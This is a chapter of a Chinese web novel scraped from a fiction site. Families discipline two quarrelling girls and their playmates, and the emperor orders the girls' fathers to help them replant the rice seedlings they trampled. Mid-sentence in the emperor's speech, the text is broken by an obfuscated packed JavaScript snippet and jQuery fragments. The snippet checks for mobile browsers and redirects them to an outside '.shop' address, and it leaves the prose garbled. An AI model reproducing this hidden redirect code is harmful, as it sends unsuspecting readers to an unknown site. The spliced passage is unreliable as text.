文趣网 > 其他小说 > 风雨同舟渡山河 > 13. 顽皮的女儿,娘亲不知拿你怎么办了
    宋府的前厅里,气氛异常凝重。烛火在灯盏里微微跳动,投在墙上的影子也跟着轻轻晃动,整个厅堂安静得能听见灯花爆开的细微声响。

    宋四维和宋夫人坐在上位,两人中间隔着一张茶几,茶几上的两盏茶早已凉透,没有人去续。

    全身是泥的宋含章站在宋夫人跟前,泥水正顺着她的衣角一滴一滴地落在青砖地面上,汇成一小摊浑浊的水渍。她的头发上、脸上、指甲缝里全是半干的泥,整个人像是刚从泥塘里捞出来的,可她的腰杆依旧挺得笔直。

    宋行简、程国恩、宋玉章拉着宋引章、肖朗拉着宋清扬站成一排,靠在厅侧的屏风旁,小心翼翼地呼吸着,谁都不敢发出一点声响。

    宋引章和宋清扬还不完全明白发生了什么,只知道二姐姐又闯祸了,娘亲的脸色比上次、上上次还要难看。

    而春夏,已经悄悄退下去准备洗澡水了。她烧了一大锅热水,又把宋含章换洗的衣裳整整齐齐地叠好放在净房门口,然后便守在净房外面,竖着耳朵听前厅的动静。

    宋夫人看着眼前的宋含章,目光里没有愤怒,没有责备,甚至没有失望。那目光平静得像一潭死水——那才是最让人害怕的东西。一个人若是还愿意骂你,说明她还在乎你;若是连骂都不骂了,那才是心真正冷透了。她的声音也很平静,平静得像是说着一件与己无关的事:"团团,娘亲已经很累了,精力有限,真的经不起你这样消耗了。"

    她顿了顿,抬手扶了扶额角,那动作疲惫得像一个走过千山万水的人终于停在了半路。"娘亲曾经是一个多么温柔的人——从来不会开口骂人,从来不会动手打人。你问问你哥哥姐姐,从小到大,娘亲对他们说过一句重话没有?"她的目光落在宋含章身上,那目光里有一种被岁月磨薄了的温柔,薄到几乎透明,"可是自从有了你,娘亲学会了开口骂人,学会了动手打人。第一次打你的时候,娘亲的手疼了一夜,可更疼的,不是手。"

    她站起身,她没有上前,也没有伸手,只是站在原地看着女儿,像隔着一道看不见的深渊。"你已经消耗了娘亲太多太多的精力了。消耗到现在,娘亲不知道还能给你什么了。"她转身,步伐沉重如灌了铅,一步一步朝前厅外走去,走到门槛前时,略停了一停,没有回头,"到时候,希望你不要说娘亲偏心你哥哥姐姐弟弟妹妹。娘亲不是偏心,是实在没有力气了。"

    说完,宋夫人跨过门槛,身影消失在了走廊的暮色里。那脚步声渐渐远去,一下一下,像是踩在了每个人的心上。

    宋四维看着宋含章,也长长地叹了一口气。那叹息声里有无可奈何,有心疼,也有一丝深深的自责——他总是在朝堂上运筹帷幄,在翰林院里著书立说,可在教育这个女儿这件事上,他和妻子一样束手无策。他站起身,望着女儿,张了张嘴想说什么,最终只是摇了摇头,跟在夫人身后离开了前厅。

    宋玉章赶紧上前拉住宋含章的手。那只手结结实实,很有力,指缝里全是泥。宋玉章没有嫌弃,只是轻轻握了握,柔声道:"走,先去把自己洗干净。洗完了再说。"她的声音温婉依旧,可眼眶已经微微泛红了。

    威震将军府里,烛火通明。霍擎苍大马金刀地坐在前厅的太师椅上,霍凌霜站在他面前,满身满脸的泥已经半干了,一块一块地裂在脸上,露出下面青紫色的淤伤。她站得笔直,像一根插在泥地里的标枪。

    霍擎苍上下打量了她一眼,嘴角竟然带着一丝笑意。那笑意很淡,藏在花白的胡须后面,可霍凌霜看见了。"你们谁打赢了?"

    霍凌霜抿了抿嘴,声音不大,带着几分不服气:"平分秋色。"

    霍擎苍嘴角的笑意瞬间冷了下来,从鼻子里哼了一声:"打架就要打赢,打个平分秋色也好意思说自己打架了?你祖父我打了大半辈子的仗,从来没跟人说过'平分秋色'这四个字——赢了就是赢了,输了就是输了,平分秋色就是没赢。战场上谁跟你平分秋色?"

    霍凌霜听了,眼圈一红,不是因为委屈,而是因为被说中了痛处。她咬了咬牙,抬起头来,用尽全身的力气大声说道:"祖父,我一定好好习武,总有一天会把宋含章打趴在地上!"

    霍擎苍这才满意地站起来,走到孙女面前,伸手在她脏兮兮的头顶拍了拍,也不嫌脏:"这还差不多,这才是我霍家的人。不过——"他话锋一转,语气沉了几分,"你也要知道分寸,点到为止。你们不是仇人,是敌手。把对方打趴下是你的本事,把人打坏了,就是你的愚蠢了。明白吗?"

    霍凌霜赶紧点头,眼角眉梢已经重新燃起了斗志:"知道了,祖父!"

    霍擎苍伸手捏住她的鼻子,把那沾满泥的小鼻头捏得变了形,像捏一个面团:"还不赶紧去把自己洗干净。你看看你,走出去别人还以为我霍家养了个泥猴子。"

    顾家前厅里,灯火温暖,气氛却并不轻松。顾老夫人、顾大夫人和顾二夫人端坐在上首,顾承宇和顾子衿也坐在一旁。

    顾子衿因为今日告假去太医院跟林太医学医,现在才刚刚知道书院里发生的事情,抿着嘴唇没有说话,目光却在顾承泽和顾子佩身上来回扫了一圈。

    顾承泽和顾子佩站在前厅中央,脸上都挂着彩——一个门牙还带着血痕,说话漏风;一个手肘青紫了一大片,站在那里腿还在微微打颤。

    顾老夫人看着这两个不省心的孙子孙女,声音不怒自威:"你们真是吃一堑不长一智。上次被扔进荷花池发了三天高烧,上上次被压在屁股底下三个时辰才缓过气。你们那屁股不知道被踢了多少次——你们说说,哪一次讨着好了?偏偏要去招惹她干什么?"

    顾承泽赶紧辩解,语气里满是委屈:"祖母,这次我们没有嘲笑宋含章,是她先动的手!"

    顾子佩也跟着附和,眼睛里蓄满了泪花,声音又尖又委屈:"我们本来就没有说什么,是沈十安说了她,她就把气撒在我们身上。我们什么都没做,就被她扔到了树上。树枝刮得我手臂都破了——"她撸起袖子,露出那道红痕。

    顾老夫人没有说话,只是目光沉沉地盯着两人。那目光并不锐利,却有一种看穿一切的力量。在她的注视下,顾承泽和顾子佩慢慢地、不由自主地低下了头,目光躲闪着不敢与她对视。他们那垂下去的小脑袋、微微发颤的嘴唇,已经告诉了在场所有人——他们并没有那么无辜。

    顾二夫人见了,气得拍了一下椅子扶手,厉声道:"你们真是好了伤疤忘了疼,活该!每次都是这样,每次都是你们先去惹人家,每次都被人家打得哭爹喊娘,每次回来又委屈巴巴地说是别人先动手。你们不说那些话,人家会动手?你们不跟着起哄,人家会打你们?我倒要问问你们,沈十安说宋含章什么了?"

    顾承泽和顾子佩的头埋得更低了,一个字也答不上来。

    顾老夫人这才缓缓开口,声音不高,却字字有力,每一个字都像是用戒尺敲在桌面上:"早就跟你们说过,不要取笑宋家二姑娘。人家也不想长成那个样子——你们以为她想那么胖?你们以为她愿意被人指指点点?你们嘲笑她,排挤她,孤立她,那是一个高门贵府的孩子所拥有的教养吗?我不知道教育你们多少次了,你们还是屡教不改。"她的目光从孙子孙女脸上扫过,那目光里既有严厉,也有失望,还有一丝苍老的无奈,"以后被打了,别回来哭鼻子。打你们的不是宋含章,是你们自己的嘴。"

    沈府里,夜色沉沉,书房里的烛火映得沈老夫人的脸半明半暗。

    沈十安跪在祖母面前,鼻血已经止住了,但鼻梁上的青肿还在,脸颊上还有树枝划出的血痕。他跪得并不端正,膝盖在冷硬的砖地上蹭来蹭去,嘴上却依旧不服软:"祖母,求您去宋家退婚。孙儿不想娶那个母夜叉——她今天当着所有人的面说要来沈家退婚,还说要打掉我所有的牙。祖母,她真的做得出那种事。"

    沈老夫人端坐在太师椅上,双手交叠在膝头,听完孙子的哭诉,面不改色,声音平淡得像在说今天的天气:"退婚是不可能的。这门亲事是你祖父和宋家老太爷定下的,两家的交情不是你们小孩子过家家,说散就散。"

    她顿了顿,端起茶盏抿了一口茶,目光越过杯沿盯着孙子,那目光里有看破一切的了然:"再有,含章这孩子我是知道的,她绝对不会平白无故地打人。定是你又说了什么难听的话——你叫她什么了?你说给祖母听听。"

    沈十安的身子僵了一下,支支吾吾半天,什么也说不出来。

    沈老夫人放下茶盏,瓷器与木桌相碰,发出一声脆响,像是这场对话的终场铃声:"依我看啊,这是打得好。把你剩下的牙齿全部打掉才好——省得你那嘴里再吐出什么伤人的话。你要是没说过分的话,她能把你挂在树上?你要是没骂她,她能追着你说要去退婚?你自己心里清楚得很。"

    一旁的沈镇和沈夫人站在那里,心里恨着宋含章——恨她让儿子在书院里抬不起头,恨她让沈府成为京城里的笑话,心疼着儿子满脸的伤——可他们不敢说什么。沈老夫人在这个家说一不二,他们若敢开口替儿子说半句话,只会让事情变得更糟。

    第二日,青山书院里又响起了朗朗的读书声。晨钟悠远,书声清越,鸟鸣婉转,一切都与昨日没有任何分别。仿佛后山的蛇、老槐树上的木鸢、泥田里的滚打,都只是一场被晨光驱散的旧梦。

    而皇宫的乾坤大殿里,却是另一番景象。

    朝堂之上,百官分列两旁,龙涎香在殿中缓缓缭绕,气氛庄重而肃穆。一位言官手捧笏板,上前一步,参了宋四维和霍擎苍一本。他声音洪亮,在大殿中回荡:"启奏陛下,臣弹劾翰林学士宋四维与威震将军霍擎苍教女无方,放纵家中女童胡作非为。昨日二人之女打架斗殴,糟践农民辛辛苦苦种下的禾苗。女之行为,体现父母之教养。二人打架,却祸害农民的庄稼,足见做父母的平日里根本不把百姓的疾苦放在心上。望陛下明察。"

    宋四维和霍擎苍站在朝班之中,对视一眼,都没有说话。

    皇帝箫衡一身龙袍端坐于龙椅之上,头戴冕旒,珠帘后的目光不怒自威。他听完言官的弹劾,没有立刻开口,而是将那双威严的眼睛缓缓扫过阶下群臣。大殿里安静了片刻,他才缓缓说道:"朕也听闻过你们两家的孩子——一个是大混世魔王,一个是小混世魔王。"

    话音落下,朝堂上微微起了一阵骚动。有人低头忍笑,有人面露鄙夷,有人摇头叹息。

    箫衡微微抬手,朝堂上立刻安静了下来。他继续说道:"孩子顽皮,乃是天性。朕小时候也爬过树,掏过鸟窝,被先帝罚过跪。该教养的,还是要教养。"他的语气和缓,像是在说家常,可话锋一转,声音便沉了下来,"朕向来重视民生,重视农桑。每年春耕,朕亲耕籍田,便是要让天下人知道——粮食来之不易。民以食为天,百姓是国家的根本。百姓安,则国安;百

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618693|206141||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姓乱,则国危。一株秧苗从播种到收获,要经历多少次风吹日晒,要耗费多少心血汗水,你们心里应当有数。"

    他的目光落在宋四维和霍擎苍身上,语气里既有责备,也有一份不动声色的体恤:"朕也知道,两个孩子打架,本不应该搬到朝堂上来讲。这本是家事,是私塾先生该管的事。但是——"他加重了这两个字,"两个孩子打架,却糟践了百姓辛苦种下的庄稼。此事已传开,若放之任之,百姓们一定会认为是你们做父母的管教不严,也一定会认为是朕对各位臣子的约束不严。百姓一旦生了怨,这怨便会越积越多,积到一定程度,就会变成洪水,变成猛兽,到那时再来堵,就晚了。"

    大殿里一片肃静,连呼吸声都轻了几分。

    箫衡微微前倾,目光如剑,声音却带着一丝难得的温和:"霍爱卿、宋爱卿,朕不罚你们的俸禄,也不记你们的过。朕罚你们——带着那两个孩子,去把损害的禾苗重新栽种好。言传身教,让孩子们知道粮食来之不易,知道百姓的辛苦。你们自己,也要好好看看。"

    霍擎苍和宋四维赶紧上前一步,躬身拱手,齐声说道:"臣遵旨。"

    散朝后,阳光洒在宫道的青石板上,照得石板泛着温润的光。霍擎苍与宋四维并肩在宫道上走着,霍擎苍在朝堂上站了大半辈子的老臣,步伐都不如年轻时那般轻快了。他的铠甲早已换成了朝服。

    走了一段,霍擎苍长长叹了一口气,那叹息声在空旷的宫道上传出去很远:"四维啊,这两个孩子要是男儿该多好。如果是男儿,我一定将她们送上战场,好好磨炼一番——让她们去北疆,去西疆,去最苦的地方,跟最硬的敌人打仗。日后,一定会成为保家卫国的良将。"他顿了顿,语气里多了一丝说不清的遗憾,"只可惜,她们有着男儿的性格,却是女儿的身。这个世道,对她们这样的女子,太窄了些。"

    宋四维走在他身侧,沉默了片刻,才缓缓开口:"霍老,这两个孩子一身正气,只是比别的孩子明理较晚。她们听不进去,听不懂我们的道理——那些'忍一时风平浪静',那些'退一步海阔天空',对她们来说就是耳旁风。"他的语气里没有怨气,倒有一种看穿之后的坦然,"我们说得再多都毫无用处。她们这样的孩子,要撞了南墙,才会知道收敛性子;要碰了壁,才会醒悟过来。不是我们教的道理不够好,是她们的路还没走到那一步。"

    霍擎苍停下脚步,转身看着宋四维,目光里闪过一丝精光:"要不,我把她们送到北疆的战场去?让凌霜的娘带着她们上阵杀敌,好好历练历练。她娘是上过战场的人,手底下不养闲人。让她们去见识见识什么叫真正的生死,什么叫真正的血。等到从战场上回来,这些孩子之间的小打小闹,在她们眼里就不算什么了。"

    宋四维愣了一下,随即躬身拱手,恭敬地答道:"那就谢谢霍老了。"

    霍擎苍看着宋四维,忽然笑了——那笑容里有几分促狭,几分看穿了宋四维心思的得意:"答应得这么干脆,眼里却全是舍不得。你以为我看不出来?"他伸手拍了拍宋四维的肩膀,那只握了大半辈子刀的手依旧苍劲有力,"现在让她们上战场,是太小了一些——十岁,还是个娃娃。等她们十二岁吧。再过两年,让她们去。到时候,你可别舍不得。"

    宋四维被说中了心事,苦笑了一下,恭敬地点了点头。

    中午时分,春阳正好,照得水田明晃晃的。霍擎苍和宋四维带着宋含章和霍凌霜,来到了昨日她们打架的那片水田。昨日被压得七零八落的秧苗还躺在泥水里,枯黄的叶子漂浮在水面上,周围的秧苗倒是站得整齐,衬得那片狼藉更加刺眼。农夫站在田埂上,看着两个女孩子,脸上写满了敢怒不敢言——他认得这两个大人物,一个是将军,一个是翰林,都是他得罪不起的人。

    宋四维脱了鞋袜,卷起裤腿,率先踏进了水田。霍擎苍也跟了下去,两个在朝堂上身居高位的男人,此刻赤足站在泥水里,弯着腰,手把手地带着两个孩子,把一株株新的秧苗重新栽进泥土里。

    宋四维的声音很轻,却字字清晰,一边栽种一边给她们讲粮食的来之不易——"一粒米,从春天种下去到秋天收上来,要经历插秧、灌溉、除草、收割、脱粒、晾晒,每一道工序都是汗水泡出来的。"霍擎苍讲起北疆戍边将士在苦寒之地种粮的故事,说那些战士在冰天雪地里啃着冻硬的干粮时,一粒米都舍不得浪费。

    宋含章和霍凌霜拿着秧苗,弯着腰,一株一株地往泥土里插。泥水浸没了她们的手腕,秧苗在她们指尖轻微地晃动。她们一边栽着,一边听着,偶尔偷偷对视一眼,又迅速移开目光。

    两人谁都没有辩解。阳光照在她们弯下去的背上,照在水田的波纹上,也照在那一排排重新站起来的秧苗上。泥水在她们指缝间流淌,那些被糟践的禾苗,正被她们亲手一株一株地扶正。

    而此刻,宋夫人正带着礼物,走进顾家和沈家的大门。她手里的礼盒系着上好的绸带,脸上的笑容端庄而疲惫,说着那些她已经说过无数次的道歉的话——"是我教女无方""给您府上添麻烦了""回去一定好好管教"。

    这样的登门道歉,宋夫人不知道经历了多少次。从宋含章第一次打人开始,她就成了京城里各家府上的常客。每一次她都告诉自己这会是最后一次,可下一次总是来得更快。

    她不想再去数了。她真的不知道拿这个女儿怎么办了。